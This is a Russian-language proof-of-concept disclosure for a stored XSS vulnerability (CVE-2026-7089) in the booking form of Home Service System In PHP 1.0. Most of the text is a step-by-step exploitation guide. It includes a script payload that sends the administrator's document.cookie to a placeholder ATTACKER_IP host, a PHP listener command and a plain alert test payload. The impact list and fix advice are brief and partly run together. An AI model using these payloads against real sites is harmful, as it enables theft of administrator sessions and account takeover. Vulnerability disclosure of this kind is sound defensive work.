
Доказательство концепции для CVE-2026-7089 — хранимой XSS-уязвимости в Home Service System PHP 1.0, позволяющей неавторизованному злоумышленнику перехватить сессию администратора через форму бронирования.
| Поле | Детали |
|---|
| Поставщик | code-projects.org |
| Продукт | Home Service System In PHP |
| Версия | 1.0 |
| Тип уязвимости | Межсайтовый скриптинг с сохранением (Stored XSS) |
| CWE | CWE-79 |
| Требуется аутентификация | Нет |
| Автор | Imad Alvi |
Уязвимость межсайтового скриптинга с сохранением (Stored XSS) существует в файле booking.php
системы Home Service System In PHP 1.0. Неаутентифицированные пользователи могут внедрять вредоносные
JavaScript-нагрузки через поля формы бронирования. Несанитизированный ввод
сохраняется в базе данных и отображается без кодирования вывода в панели администратора
(admin.php), где он выполняется в контексте браузера администратора.
Это позволяет неаутентифицированному злоумышленнику похитить cookie сессии администратора, выполнять действия от имени администратора или полностью скомпрометировать учётную запись администратора.
booking.phpfname, lnameadmin.php → Управление бронированиямиПерейдите на страницу бронирования как неаутентифицированный пользователь: http://TARGET/homeservices/booking.php?provider=
В поле Имя внедрите следующую нагрузку:
<script>new Image().src="http://ATTACKER_IP:PORT?c="+document.cookie</script>
Заполните остальные поля любыми допустимыми данными и отправьте бронирование.
Запустите прослушиватель на машине злоумышленника:
php -S 0.0.0.0:PORT
Дождитесь, пока администратор посетит раздел «Управление бронированиями» в admin.php.
Нагрузка выполняется в браузере администратора, передавая cookie сессии на ваш прослушиватель.

<script>alert(1)</script>

<script>new Image().src="http://ATTACKER_IP:7979?c="+document.cookie</script>
Эта уязвимость позволяет удалённому неаутентифицированному злоумышленнику полностью скомпрометировать приложение.
Злоумышленник может:
PHPSESSIDhtmlspecialchars() с ENT_QUOTES ко всем вводимым пользователем данным перед
сохранением или отображением